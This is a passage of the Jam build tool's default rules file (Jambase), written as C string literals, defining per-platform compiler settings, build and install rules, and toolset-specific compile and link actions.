"RANLIB ?= \"\" ;\n",
"SUFEXE ?= .exe ;\n",
"YACC ?= \"bison -y\" ;\n",
"case DGUX :\n",
"RANLIB ?= \"\" ;\n",
"RELOCATE ?= true ;\n",
"case HPUX :\n",
"YACC = ;\n",
"CFLAGS += -Ae ;\n",
"CCFLAGS += -Ae ;\n",
"RANLIB ?= \"\" ;\n",
"case INTERIX :\n",
"CC ?= gcc ;\n",
"RANLIB ?= \"\" ;\n",
"case IRIX :\n",
"RANLIB ?= \"\" ;\n",
"case MPEIX :\n",
"CC ?= gcc ;\n",
"C++ ?= gcc ;\n",
"CCFLAGS += -D_POSIX_SOURCE ;\n",
"HDRS += /usr/include ;\n",
"RANLIB ?= \"\" ; \n",
"NOARSCAN ?= true ;\n",
"NOARUPDATE ?= true ;\n",
"case MVS :\n",
"RANLIB ?= \"\" ; \n",
"case NEXT :\n",
"AR ?= libtool -o ;\n",
"RANLIB ?= \"\" ;\n",
"case MACOSX :\n",
"AR ?= libtool -o ;\n",
"C++ ?= c++ ;\n",
"MANDIR ?= /usr/local/share/man ;\n",
"RANLIB ?= \"\" ;\n",
"case NCR :\n",
"RANLIB ?= \"\" ;\n",
"case PTX :\n",
"RANLIB ?= \"\" ;\n",
"case QNX :\n",
"AR ?= wlib ;\n",
"CC ?= cc ;\n",
"CCFLAGS ?= -Q ; # quiet\n",
"C++ ?= $(CC) ;\n",
"C++FLAGS ?= -Q ; # quiet\n",
"LINK ?= $(CC) ;\n",
"LINKFLAGS ?= -Q ; # quiet\n",
"NOARSCAN ?= true ;\n",
"RANLIB ?= \"\" ;\n",
"case SCO :\n",
"RANLIB ?= \"\" ;\n",
"RELOCATE ?= true ;\n",
"case SINIX :\n",
"RANLIB ?= \"\" ;\n",
"case SOLARIS :\n",
"RANLIB ?= \"\" ;\n",
"AR ?= \"/usr/ccs/bin/ar ru\" ;\n",
"case UNICOS :\n",
"NOARSCAN ?= true ;\n",
"OPTIM ?= -O0 ;\n",
"case UNIXWARE :\n",
"RANLIB ?= \"\" ;\n",
"RELOCATE ?= true ;\n",
"}\n",
"CCFLAGS ?= ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"CHMOD ?= chmod ;\n",
"CHGRP ?= chgrp ;\n",
"CHOWN ?= chown ;\n",
"LEX ?= lex ;\n",
"LINKFLAGS ?= $(CCFLAGS) ;\n",
"LINKLIBS ?= ;\n",
"OPTIM ?= -O ;\n",
"RANLIB ?= ranlib ;\n",
"YACC ?= yacc ;\n",
"YACCFILES ?= y.tab ;\n",
"YACCFLAGS ?= -d ;\n",
"}\n",
"AR ?= ar ru ;\n",
"AS ?= as ;\n",
"ASFLAGS ?= ;\n",
"AWK ?= awk ;\n",
"BINDIR ?= /usr/local/bin ;\n",
"C++ ?= cc ;\n",
"C++FLAGS ?= ;\n",
"CC ?= cc ;\n",
"CCFLAGS ?= ;\n",
"CP ?= cp -f ;\n",
"CRELIB ?= ;\n",
"DOT ?= . ;\n",
"DOTDOT ?= .. ;\n",
"EXEMODE ?= 711 ;\n",
"FILEMODE ?= 644 ;\n",
"FORTRAN ?= f77 ;\n",
"FORTRANFLAGS ?= ;\n",
"HDRS ?= ;\n",
"INSTALLGRIST ?= installed ;\n",
"JAMFILE ?= Jamfile ;\n",
"JAMRULES ?= Jamrules ;\n",
"LEX ?= ;\n",
"LIBDIR ?= /usr/local/lib ;\n",
"LINK ?= $(CC) ;\n",
"LINKFLAGS ?= ;\n",
"LINKLIBS ?= ;\n",
"LN ?= ln ;\n",
"MANDIR ?= /usr/local/man ;\n",
"MKDIR ?= mkdir ;\n",
"MV ?= mv -f ;\n",
"OPTIM ?= ;\n",
"RCP ?= rcp ;\n",
"RM ?= rm -f ;\n",
"RSH ?= rsh ;\n",
"SED ?= sed ;\n",
"SHELLHEADER ?= \"#!/bin/sh\" ;\n",
"SHELLMODE ?= 755 ;\n",
"SLASH ?= / ;\n",
"STDHDRS ?= /usr/include ;\n",
"SUFEXE ?= \"\" ;\n",
"SUFLIB ?= .a ;\n",
"SUFOBJ ?= .o ;\n",
"UNDEFFLAG ?= \"-u _\" ;\n",
"YACC ?= ;\n",
"YACCFILES ?= ;\n",
"YACCFLAGS ?= ;\n",
"HDRPATTERN = \n",
"\"^[ ]*#[ ]*include[ ]*[<\\\"]([^\\\">]*)[\\\">].*$\" ;\n",
"OSFULL = $(OS)$(OSVER)$(OSPLAT) $(OS)$(OSPLAT) $(OS)$(OSVER) $(OS) ;\n",
"DEPENDS all : shell files lib exe obj ;\n",
"DEPENDS all shell files lib exe obj : first ;\n",
"NOTFILE all first shell files lib exe obj dirs clean uninstall ;\n",
"ALWAYS clean uninstall ;\n",
"rule As\n",
"{\n",
"DEPENDS $(<) : $(>) ;\n",
"ASFLAGS on $(<) += $(ASFLAGS) $(SUBDIRASFLAGS) ;\n",
"}\n",
"rule Bulk\n",
"{\n",
"local i ;\n",
"for i in $(>)\n",
"{\n",
"File $(i:D=$(<)) : $(i) ;\n",
"}\n",
"}\n",
"rule Cc\n",
"{\n",
"local _h ;\n",
"DEPENDS $(<) : $(>) ;\n",
"CCFLAGS on $(<) += $(CCFLAGS) $(SUBDIRCCFLAGS) ;\n",
"if $(RELOCATE)\n",
"{\n",
"CcMv $(<) : $(>) ;\n",
"}\n",
"_h = $(SEARCH_SOURCE) $(HDRS) $(SUBDIRHDRS) ;\n",
"if $(VMS) && $(_h)\n",
"{\n",
"SLASHINC on $(<) = \"/inc=(\" $(_h[1]) ,$(_h[2-]) \")\" ;\n",
"}\n",
"else if $(MAC) && $(_h)\n",
"{\n",
"local _i _j ;\n",
"_j = $(_h[1]) ;\n",
"for _i in $(_h[2-])\n",
"{\n",
"_j = $(_j),$(_i) ;\n",
"}\n",
"MACINC on $(<) = \\\"$(_j)\\\" ;\n",
"}\n",
"}\n",
"rule C++\n",
"{\n",
"local _h ;\n",
"DEPENDS $(<) : $(>) ;\n",
"C++FLAGS on $(<) += $(C++FLAGS) $(SUBDIRC++FLAGS) ;\n",
"if $(RELOCATE)\n",
"{\n",
"CcMv $(<) : $(>) ;\n",
"}\n",
"_h = $(SEARCH_SOURCE) $(HDRS) $(SUBDIRHDRS) ;\n",
"if $(VMS) && $(_h)\n",
"{\n",
"SLASHINC on $(<) = \"/inc=(\" $(_h[1]) ,$(_h[2-]) \")\" ;\n",
"}\n",
"else if $(MAC) && $(_h)\n",
"{\n",
"local _i _j ;\n",
"_j = $(_h[1]) ;\n",
"for _i in $(_h[2-])\n",
"{\n",
"_j = $(_j),$(_i) ;\n",
"}\n",
"MACINC on $(<) = \\\"$(_j)\\\" ;\n",
"}\n",
"}\n",
"rule Chmod\n",
"{\n",
"if $(CHMOD) { Chmod1 $(<) ; }\n",
"}\n",
"rule File\n",
"{\n",
"DEPENDS files : $(<) ;\n",
"DEPENDS $(<) : $(>) ;\n",
"SEARCH on $(>) = $(SEARCH_SOURCE) ;\n",
"MODE on $(<) = $(FILEMODE) ;\n",
"Chmod $(<) ;\n",
"}\n",
"rule Fortran\n",
"{\n",
"DEPENDS $(<) : $(>) ;\n",
"}\n",
"rule GenFile \n",
"{\n",
"local _t = [ FGristSourceFiles $(<) ] ;\n",
"local _s = [ FAppendSuffix $(>[1]) : $(SUFEXE) ] ;\n",
"Depends $(_t) : $(_s) $(>[2-]) ;\n",
"GenFile1 $(_t) : $(_s) $(>[2-]) ;\n",
"Clean clean : $(_t) ;\n",
"}\n",
"rule GenFile1\n",
"{\n",
"MakeLocate $(<) : $(LOCATE_SOURCE) ;\n",
"SEARCH on $(>) = $(SEARCH_SOURCE) ;\n",
"}\n",
"rule HardLink\n",
"{\n",
"DEPENDS files : $(<) ;\n",
"DEPENDS $(<) : $(>) ;\n",
"SEARCH on $(>) = $(SEARCH_SOURCE) ;\n",
"}\n",
"rule HdrMacroFile\n",
"{\n",
"HDRMACRO $(<) ;\n",
"}\n",
"rule HdrRule\n",
"{\n",
"local s ;\n",
"if $(HDRGRIST) \n",
"{ \n",
"s = $(>:G=$(HDRGRIST)) ;\n",
"} else { \n",
"s = $(>) ; \n",
"}\n",
"INCLUDES $(<) : $(s) ;\n",
"SEARCH on $(s) = $(HDRSEARCH) ;\n",
"NOCARE $(s) ;\n",
"HDRSEARCH on $(s) = $(HDRSEARCH) ;\n",
"HDRSCAN on $(s) = $(HDRSCAN) ;\n",
"HDRRULE on $(s) = $(HDRRULE) ;\n",
"HDRGRIST on $(s) = $(HDRGRIST) ;\n",
"}\n",
"rule InstallInto\n",
"{\n",
"local i t ;\n",
"t = $(>:G=$(INSTALLGRIST)) ;\n",
"Depends install : $(t) ;\n",
"Clean uninstall : $(t) ;\n",
"SEARCH on $(>) = $(SEARCH_SOURCE) ;\n",
"MakeLocate $(t) : $(<) ;\n",
"for i in $(>)\n",
"{\n",
"local tt = $(i:G=$(INSTALLGRIST)) ;\n",
"Depends $(tt) : $(i) ;\n",
"Install $(tt) : $(i) ;\n",
"Chmod $(tt) ;\n",
"if $(OWNER) && $(CHOWN) \n",
"{ \n",
"Chown $(tt) ;\n",
"OWNER on $(tt) = $(OWNER) ;\n",
"}\n",
"if $(GROUP) && $(CHGRP) \n",
"{ \n",
"Chgrp $(tt) ;\n",
"GROUP on $(tt) = $(GROUP) ;\n",
"}\n",
"}\n",
"}\n",
"rule InstallBin\n",
"{\n",
"local _t = [ FAppendSuffix $(>) : $(SUFEXE) ] ;\n",
"InstallInto $(<) : $(_t) ;\n",
"MODE on $(_t:G=installed) = $(EXEMODE) ;\n",
"}\n",
"rule InstallFile\n",
"{\n",
"InstallInto $(<) : $(>) ;\n",
"MODE on $(>:G=installed) = $(FILEMODE) ;\n",
"}\n",
"rule InstallLib\n",
"{\n",
"InstallInto $(<) : $(>) ;\n",
"MODE on $(>:G=installed) = $(FILEMODE) ;\n",
"}\n",
"rule InstallMan\n",
"{\n",
"local i s d ;\n",
"for i in $(>)\n",
"{\n",
"switch $(i:S)\n",
"{\n",
"case .1 : s = 1 ; case .2 : s = 2 ; case .3 : s = 3 ;\n",
"case .4 : s = 4 ; case .5 : s = 5 ; case .6 : s = 6 ;\n",
"case .7 : s = 7 ; case .8 : s = 8 ; case .l : s = l ;\n",
"case .n : s = n ; case .man : s = 1 ;\n",
"}\n",
"d = man$(s) ;\n",
"InstallInto $(d:R=$(<)) : $(i) ;\n",
"}\n",
"MODE on $(>:G=installed) = $(FILEMODE) ;\n",
"}\n",
"rule InstallShell\n",
"{\n",
"InstallInto $(<) : $(>) ;\n",
"MODE on $(>:G=installed) = $(SHELLMODE) ;\n",
"}\n",
"rule Lex\n",
"{\n",
"LexMv $(<) : $(>) ;\n",
"DEPENDS $(<) : $(>) ;\n",
"MakeLocate $(<) : $(LOCATE_SOURCE) ;\n",
"Clean clean : $(<) ;\n",
"}\n",
"rule Library\n",
"{\n",
"LibraryFromObjects $(<) : $(>:S=$(SUFOBJ)) ;\n",
"Objects $(>) ;\n",
"}\n",
"rule LibraryFromObjects\n",
"{\n",
"local _i _l _s ;\n",
"_s = [ FGristFiles $(>) ] ;\n",
"_l = $(<:S=$(SUFLIB)) ;\n",
"if $(KEEPOBJS)\n",
"{\n",
"DEPENDS obj : $(_s) ;\n",
"}\n",
"else\n",
"{\n",
"DEPENDS lib : $(_l) ;\n",
"}\n",
"if ! $(_l:D)\n",
"{\n",
"MakeLocate $(_l) $(_l)($(_s:BS)) : $(LOCATE_TARGET) ;\n",
"}\n",
"if $(NOARSCAN) \n",
"{ \n",
"DEPENDS $(_l) : $(_s) ;\n",
"}\n",
"else\n",
"{\n",
"DEPENDS $(_l) : $(_l)($(_s:BS)) ;\n",
"for _i in $(_s)\n",
"{\n",
"DEPENDS $(_l)($(_i:BS)) : $(_i) ;\n",
"}\n",
"}\n",
"Clean clean : $(_l) ;\n",
"if $(CRELIB) { CreLib $(_l) : $(_s[1]) ; }\n",
"Archive $(_l) : $(_s) ;\n",
"if $(RANLIB) { Ranlib $(_l) ; }\n",
"if ! ( $(NOARSCAN) || $(KEEPOBJS) ) { RmTemps $(_l) : $(_s) ; }\n",
"}\n",
"rule Link\n",
"{\n",
"MODE on $(<) = $(EXEMODE) ;\n",
"Chmod $(<) ;\n",
"}\n",
"rule LinkLibraries\n",
"{\n",
"local _t = [ FAppendSuffix $(<) : $(SUFEXE) ] ;\n",
"DEPENDS $(_t) : $(>:S=$(SUFLIB)) ;\n",
"NEEDLIBS on $(_t) += $(>:S=$(SUFLIB)) ;\n",
"}\n",
"rule Main\n",
"{\n",
"MainFromObjects $(<) : $(>:S=$(SUFOBJ)) ;\n",
"Objects $(>) ;\n",
"}\n",
"rule MainFromObjects\n",
"{\n",
"local _s _t ;\n",
"_s = [ FGristFiles $(>) ] ;\n",
"_t = [ FAppendSuffix $(<) : $(SUFEXE) ] ;\n",
"if $(_t) != $(<)\n",
"{\n",
"DEPENDS $(<) : $(_t) ;\n",
"NOTFILE $(<) ;\n",
"}\n",
"DEPENDS exe : $(_t) ;\n",
"DEPENDS $(_t) : $(_s) ;\n",
"MakeLocate $(_t) : $(LOCATE_TARGET) ;\n",
"Clean clean : $(_t) ;\n",
"Link $(_t) : $(_s) ;\n",
"}\n",
"rule MakeLocate\n",
"{\n",
"if $(>)\n",
"{\n",
"LOCATE on $(<) = $(>) ;\n",
"Depends $(<) : $(>[1]) ;\n",
"MkDir $(>[1]) ;\n",
"}\n",
"}\n",
"rule MkDir\n",
"{\n",
"NOUPDATE $(<) ;\n",
"if $(<) != $(DOT) && ! $($(<)-mkdir) \n",
"{\n",
"local s ;\n",
"$(<)-mkdir = true ;\n",
"MkDir1 $(<) ;\n",
"Depends dirs : $(<) ;\n",
"s = $(<:P) ;\n",
"if $(NT)\n",
"{\n",
"switch $(s)\n",
"{\n",
"case *: : s = ;\n",
"case *:\\\\ : s = ;\n",
"}\n",
"}\n",
"if $(s) && $(s) != $(<)\n",
"{\n",
"Depends $(<) : $(s) ;\n",
"MkDir $(s) ;\n",
"}\n",
"else if $(s)\n",
"{\n",
"NOTFILE $(s) ;\n",
"}\n",
"}\n",
"}\n",
"rule Object\n",
"{\n",
"local h ;\n",
"Clean clean : $(<) ;\n",
"MakeLocate $(<) : $(LOCATE_TARGET) ;\n",
"SEARCH on $(>) = $(SEARCH_SOURCE) ;\n",
"HDRS on $(<) = $(SEARCH_SOURCE) $(HDRS) $(SUBDIRHDRS) ;\n",
"if $(SEARCH_SOURCE)\n",
"{\n",
"h = $(SEARCH_SOURCE) ;\n",
"}\n",
"else\n",
"{\n",
"h = \"\" ;\n",
"}\n",
"HDRRULE on $(>) = HdrRule ;\n",
"HDRSCAN on $(>) = $(HDRPATTERN) ;\n",
"HDRSEARCH on $(>) = $(HDRS) $(SUBDIRHDRS) $(h) $(STDHDRS) ;\n",
"HDRGRIST on $(>) = $(HDRGRIST) ;\n",
"switch $(>:S)\n",
"{\n",
"case .asm : As $(<) : $(>) ;\n",
"case .c : Cc $(<) : $(>) ;\n",
"case .C : C++ $(<) : $(>) ;\n",
"case .cc : C++ $(<) : $(>) ;\n",
"case .cpp : C++ $(<) : $(>) ;\n",
"case .f : Fortran $(<) : $(>) ;\n",
"case .l : Cc $(<) : $(<:S=.c) ;\n",
"Lex $(<:S=.c) : $(>) ;\n",
"case .s : As $(<) : $(>) ;\n",
"case .y : Cc $(<) : $(<:S=.c) ;\n",
"Yacc $(<:S=.c) : $(>) ;\n",
"case * : UserObject $(<) : $(>) ;\n",
"}\n",
"}\n",
"rule ObjectCcFlags\n",
"{\n",
"CCFLAGS on [ FGristFiles $(<:S=$(SUFOBJ)) ] += $(>) ;\n",
"}\n",
"rule ObjectC++Flags\n",
"{\n",
"C++FLAGS on [ FGristFiles $(<:S=$(SUFOBJ)) ] += $(>) ;\n",
"}\n",
"rule ObjectHdrs\n",
"{\n",
"HDRS on [ FGristFiles $(<:S=$(SUFOBJ)) ] += $(>) ;\n",
"}\n",
"rule Objects\n",
"{\n",
"local _i ;\n",
"for _i in [ FGristFiles $(<) ]\n",
"{\n",
"Object $(_i:S=$(SUFOBJ)) : $(_i) ;\n",
"DEPENDS obj : $(_i:S=$(SUFOBJ)) ;\n",
"}\n",
"}\n",
"rule RmTemps\n",
"{\n",
"TEMPORARY $(>) ;\n",
"}\n",
"rule Setuid\n",
"{\n",
"MODE on [ FAppendSuffix $(<) : $(SUFEXE) ] = 4711 ;\n",
"}\n",
"rule Shell\n",
"{\n",
"DEPENDS shell : $(<) ;\n",
"DEPENDS $(<) : $(>) ;\n",
"SEARCH on $(>) = $(SEARCH_SOURCE) ;\n",
"MODE on $(<) = $(SHELLMODE) ;\n",
"Clean clean : $(<) ;\n",
"Chmod $(<) ;\n",
"}\n",
"rule SubDir\n",
"{\n",
"local _r _s ;\n",
"if ! $($(<[1]))\n",
"{\n",
"if ! $(<[1])\n",
"{\n",
"EXIT SubDir syntax error ;\n",
"}\n",
"$(<[1]) = [ FSubDir $(<[2-]) ] ;\n",
"}\n",
"if ! $($(<[1])-included)\n",
"{\n",
"$(<[1])-included = TRUE ;\n",
"_r = $($(<[1])RULES) ;\n",
"if ! $(_r)\n",
"{\n",
"_r = $(JAMRULES:R=$($(<[1]))) ;\n",
"}\n",
"include $(_r) ;\n",
"}\n",
"_s = [ FDirName $(<[2-]) ] ;\n",
"SUBDIR = $(_s:R=$($(<[1]))) ;\n",
"SUBDIR_TOKENS = $(<[2-]) ;\n",
"SEARCH_SOURCE = $(SUBDIR) ;\n",
"LOCATE_SOURCE = $(ALL_LOCATE_TARGET) $(SUBDIR) ;\n",
"LOCATE_TARGET = $(ALL_LOCATE_TARGET) $(SUBDIR) ;\n",
"SOURCE_GRIST = [ FGrist $(<[2-]) ] ;\n",
"SUBDIRCCFLAGS = ;\n",
"SUBDIRC++FLAGS = ;\n",
"SUBDIRHDRS = ;\n",
"}\n",
"rule SubDirCcFlags\n",
"{\n",
"SUBDIRCCFLAGS += $(<) ;\n",
"}\n",
"rule SubDirC++Flags\n",
"{\n",
"SUBDIRC++FLAGS += $(<) ;\n",
"}\n",
"rule SubDirHdrs\n",
"{\n",
"SUBDIRHDRS += $(<) ;\n",
"}\n",
"rule SubInclude\n",
"{\n",
"local _s ;\n",
"if ! $($(<[1]))\n",
"{\n",
"EXIT Top level of source tree has not been set with $(<[1]) ;\n",
"}\n",
"_s = [ FDirName $(<[2-]) ] ;\n",
"include $(JAMFILE:D=$(_s):R=$($(<[1]))) ;\n",
"}\n",
"rule Undefines\n",
"{\n",
"UNDEFS on [ FAppendSuffix $(<) : $(SUFEXE) ] += $(UNDEFFLAG)$(>) ;\n",
"}\n",
"rule UserObject\n",
"{\n",
"EXIT \"Unknown suffix on\" $(>) \"- see UserObject rule in Jamfile(5).\" ;\n",
"}\n",
"rule Yacc\n",
"{\n",
"local _h ;\n",
"_h = $(<:BS=.h) ;\n",
"MakeLocate $(<) $(_h) : $(LOCATE_SOURCE) ;\n",
"if $(YACC)\n",
"{\n",
"DEPENDS $(<) $(_h) : $(>) ;\n",
"Yacc1 $(<) $(_h) : $(>) ;\n",
"YaccMv $(<) $(_h) : $(>) ;\n",
"Clean clean : $(<) $(_h) ;\n",
"}\n",
"INCLUDES $(<) : $(_h) ;\n",
"}\n",
"rule FGrist\n",
"{\n",
"local _g _i ;\n",
"_g = $(<[1]) ;\n",
"for _i in $(<[2-])\n",
"{\n",
"_g = $(_g)!$(_i) ;\n",
"}\n",
"return $(_g) ;\n",
"}\n",
"rule FGristFiles \n",
"{\n",
"if ! $(SOURCE_GRIST)\n",
"{\n",
"return $(<) ;\n",
"}\n",
"else \n",
"{\n",
"return $(<:G=$(SOURCE_GRIST)) ;\n",
"}\n",
"}\n",
"rule FGristSourceFiles\n",
"{\n",
"if ! $(SOURCE_GRIST)\n",
"{\n",
"return $(<) ;\n",
"}\n",
"else \n",
"{\n",
"local _i _o ;\n",
"for _i in $(<)\n",
"{\n",
"switch $(_i)\n",
"{\n",
"case *.h : _o += $(_i) ;\n",
"case * : _o += $(_i:G=$(SOURCE_GRIST)) ;\n",
"}\n",
"}\n",
"return $(_o) ;\n",
"}\n",
"}\n",
"rule FConcat\n",
"{\n",
"local _t _r ;\n",
"$(_r) = $(<[1]) ;\n",
"for _t in $(<[2-])\n",
"{\n",
"$(_r) = $(_r)$(_t) ;\n",
"}\n",
"return $(_r) ;\n",
"}\n",
"rule FSubDir\n",
"{\n",
"local _i _d ;\n",
"if ! $(<[1]) \n",
"{\n",
"_d = $(DOT) ;\n",
"} \n",
"else\n",
"{\n",
"_d = $(DOTDOT) ;\n",
"for _i in $(<[2-])\n",
"{\n",
"_d = $(_d:R=$(DOTDOT)) ;\n",
"}\n",
"}\n",
"return $(_d) ;\n",
"}\n",
"rule FDirName\n",
"{\n",
"local _s _i ;\n",
"if ! $(<)\n",
"{\n",
"_s = $(DOT) ;\n",
"}\n",
"else if $(VMS)\n",
"{\n",
"switch $(<[1])\n",
"{\n",
"case *:* : _s = $(<[1]) ;\n",
"case \\\\[*\\\\] : _s = $(<[1]) ;\n",
"case * : _s = [.$(<[1])] ;\n",
"}\n",
"for _i in [.$(<[2-])]\n",
"{\n",
"_s = $(_i:R=$(_s)) ;\n",
"}\n",
"}\n",
"else if $(MAC)\n",
"{\n",
"_s = $(DOT) ;\n",
"for _i in $(<)\n",
"{\n",
"_s = $(_i:R=$(_s)) ;\n",
"}\n",
"}\n",
"else\n",
"{\n",
"_s = $(<[1]) ; \n",
"for _i in $(<[2-])\n",
"{\n",
"_s = $(_i:R=$(_s)) ;\n",
"}\n",
"}\n",
"return $(_s) ;\n",
"}\n",
"rule _makeCommon\n",
"{\n",
"if $($(<)[1]) && $($(<)[1]) = $($(>)[1])\n",
"{\n",
"$(<) = $($(<)[2-]) ;\n",
"$(>) = $($(>)[2-]) ;\n",
"_makeCommon $(<) : $(>) ;\n",
"}\n",
"}\n",
"rule FRelPath\n",
"{\n",
"local _l _r ;\n",
"_l = $(<) ;\n",
"_r = $(>) ;\n",
"_makeCommon _l : _r ;\n",
"_l = [ FSubDir $(_l) ] ;\n",
"_r = [ FDirName $(_r) ] ;\n",
"if $(_r) = $(DOT) {\n",
"return $(_l) ;\n",
"} else {\n",
"return $(_r:R=$(_l)) ;\n",
"}\n",
"}\n",
"rule FAppendSuffix\n",
"{\n",
"if $(>)\n",
"{\n",
"local _i _o ;\n",
"for _i in $(<)\n",
"{\n",
"if $(_i:S)\n",
"{\n",
"_o += $(_i) ;\n",
"}\n",
"else\n",
"{\n",
"_o += $(_i:S=$(>)) ;\n",
"}\n",
"}\n",
"return $(_o) ;\n",
"}\n",
"else\n",
"{\n",
"return $(<) ;\n",
"}\n",
"}\n",
"rule unmakeDir\n",
"{\n",
"if $(>[1]:D) && $(>[1]:D) != $(>[1]) && $(>[1]:D) != \\\\\\\\ \n",
"{\n",
"unmakeDir $(<) : $(>[1]:D) $(>[1]:BS) $(>[2-]) ;\n",
"}\n",
"else\n",
"{\n",
"$(<) = $(>) ;\n",
"}\n",
"}\n",
"rule FConvertToSlashes\n",
"{\n",
"local _d, _s, _i ;\n",
"unmakeDir _d : $(<) ;\n",
"_s = $(_d[1]) ; \n",
"for _i in $(_d[2-])\n",
"{\n",
"_s = $(_s)/$(_i) ;\n",
"}\n",
"return $(_s) ;\n",
"}\n",
"actions updated together piecemeal Archive\n",
"{\n",
"$(AR) $(<) $(>)\n",
"}\n",
"actions As\n",
"{\n",
"$(AS) $(ASFLAGS) -I$(HDRS) -o $(<) $(>)\n",
"}\n",
"actions C++\n",
"{\n",
"$(C++) -c $(C++FLAGS) $(OPTIM) -I$(HDRS) -o $(<) $(>)\n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) -c $(CCFLAGS) $(OPTIM) -I$(HDRS) -o $(<) $(>)\n",
"}\n",
"actions Chgrp\n",
"{\n",
"$(CHGRP) $(GROUP) $(<)\n",
"}\n",
"actions Chmod1\n",
"{\n",
"$(CHMOD) $(MODE) $(<)\n",
"}\n",
"actions Chown\n",
"{\n",
"$(CHOWN) $(OWNER) $(<)\n",
"}\n",
"actions piecemeal together existing Clean\n",
"{\n",
"$(RM) $(>)\n",
"}\n",
"actions File\n",
"{\n",
"$(CP) $(>) $(<)\n",
"}\n",
"actions GenFile1\n",
"{\n",
"$(>[1]) $(<) $(>[2-])\n",
"}\n",
"actions Fortran\n",
"{\n",
"$(FORTRAN) $(FORTRANFLAGS) -o $(<) $(>)\n",
"}\n",
"actions HardLink\n",
"{\n",
"$(RM) $(<) && $(LN) $(>) $(<)\n",
"}\n",
"actions Install\n",
"{\n",
"$(CP) $(>) $(<) \n",
"}\n",
"actions Lex\n",
"{\n",
"$(LEX) $(>)\n",
"}\n",
"actions LexMv\n",
"{\n",
"$(MV) lex.yy.c $(<)\n",
"}\n",
"actions Link bind NEEDLIBS\n",
"{\n",
"$(LINK) $(LINKFLAGS) -o $(<) $(UNDEFS) $(>) $(NEEDLIBS) $(LINKLIBS) \n",
"}\n",
"actions MkDir1\n",
"{\n",
"$(MKDIR) $(<)\n",
"}\n",
"actions together Ranlib\n",
"{\n",
"$(RANLIB) $(<)\n",
"}\n",
"actions quietly updated piecemeal together RmTemps\n",
"{\n",
"$(RM) $(>)\n",
"}\n",
"actions Shell\n",
"{\n",
"$(AWK) '\n",
"NR == 1 { print \"$(SHELLHEADER)\" }\n",
"NR == 1 && /^[#:]/ { next }\n",
"/^##/ { next }\n",
"{ print }\n",
"' < $(>) > $(<)\n",
"}\n",
"actions Yacc1\n",
"{\n",
"$(YACC) $(YACCFLAGS) $(>)\n",
"}\n",
"actions YaccMv\n",
"{\n",
"$(MV) $(YACCFILES).c $(<[1])\n",
"$(MV) $(YACCFILES).h $(<[2])\n",
"}\n",
"if $(RELOCATE)\n",
"{\n",
"actions C++\n",
"{\n",
"$(C++) -c $(C++FLAGS) $(OPTIM) -I$(HDRS) $(>)\n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) -c $(CCFLAGS) $(OPTIM) -I$(HDRS) $(>)\n",
"}\n",
"actions ignore CcMv\n",
"{\n",
"[ $(<) != $(>:BS=$(SUFOBJ)) ] && $(MV) $(>:BS=$(SUFOBJ)) $(<)\n",
"}\n",
"}\n",
"if $(NOARUPDATE)\n",
"{\n",
"actions Archive\n",
"{\n",
"$(AR) $(<) $(>)\n",
"}\n",
"}\n",
"if $(NT)\n",
"{\n",
"if $(TOOLSET) = VISUALC || $(TOOLSET) = VC7 || $(TOOLSET) = INTELC\n",
"{\n",
"actions updated together piecemeal Archive\n",
"{\n",
"if exist $(<) set _$(<:B)_=$(<)\n",
"$(AR) /out:$(<) %_$(<:B)_% $(>)\n",
"}\n",
"actions As\n",
"{\n",
"$(AS) /Ml /p /v /w2 $(>) $(<) ,nul,nul;\n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) /c $(CCFLAGS) $(OPTIM) /Fo$(<) /I$(HDRS) /I$(STDHDRS) $(>)\n",
"}\n",
"actions C++\n",
"{\n",
"$(C++) /c $(C++FLAGS) $(OPTIM) /Fo$(<) /I$(HDRS) /I$(STDHDRS) /Tp$(>)\n",
"}\n",
"actions Link bind NEEDLIBS\n",
"{\n",
"$(LINK) $(LINKFLAGS) /out:$(<) $(UNDEFS) $(>) $(NEEDLIBS) $(LINKLIBS)\n",
"}\n",
"}\n",
"else if $(TOOLSET) = VISUALC16\n",
"{\n",
"actions updated together piecemeal Archive\n",
"{\n",
"$(AR) $(<) -+$(>)\n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) /c $(CCFLAGS) $(OPTIM) /Fo$(<) /I$(HDRS) $(>)\n",
"}\n",
"actions C++\n",
"{\n",
"$(C++) /c $(C++FLAGS) $(OPTIM) /Fo$(<) /I$(HDRS) /Tp$(>)\n",
"}\n",
"actions Link bind NEEDLIBS\n",
"{\n",
"$(LINK) $(LINKFLAGS) /out:$(<) $(UNDEFS) $(>) $(NEEDLIBS) $(LINKLIBS)\n",
"}\n",
"}\n",
"else if $(TOOLSET) = BORLANDC\n",
"{\n",
"actions updated together piecemeal Archive\n",
"{\n",
"$(AR) $(<) -+$(>)\n",
"}\n",
"actions Link bind NEEDLIBS\n",
"{\n",
"$(LINK) -e$(<) $(LINKFLAGS) $(UNDEFS) -L$(LINKLIBS) $(NEEDLIBS) $(>)\n",
"}\n",
"actions C++\n",
"{\n",
"$(C++) -c $(C++FLAGS) $(OPTIM) -I$(HDRS) -o$(<) $(>)\n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) -c $(CCFLAGS) $(OPTIM) -I$(HDRS) -o$(<) $(>)\n",
"}\n",
"}\n",
"else if $(TOOLSET) = MINGW\n",
"{\n",
"actions together piecemeal Archive\n",
"{\n",
"$(AR) $(<) $(>:T)\n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) -c $(CCFLAGS) $(OPTIM) -I$(HDRS) -o$(<) $(>)\n",
"}\n",
"actions C++\n",
"{\n",
"$(C++) -c $(C++FLAGS) $(OPTIM) -I$(HDRS) -o$(<) $(>)\n",
"}\n",
"}\n",
"else if $(TOOLSET) = WATCOM\n",
"{\n",
"actions together piecemeal Archive\n",
"{\n",
"$(AR) $(<) +-$(>) \n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) $(CCFLAGS) $(OPTIM) /Fo=$(<) /I$(HDRS) $(>)\n",
"}\n",
"actions C++\n",
"{\n",
"$(C++) $(C++FLAGS) $(OPTIM) /Fo=$(<) /I$(HDRS) $(>)\n",
"}\n",
"actions Link bind NEEDLIBS\n",
"{\n",
"$(LINK) $(LINKFLAGS) /Fe=$(<) $(UNDEFS) $(>) $(NEEDLIBS) $(LINKLIBS)\n",
"}\n",
"actions Shell\n",
"{\n",
"$(CP) $(>) $(<)\n",
"}\n",
"}\n",
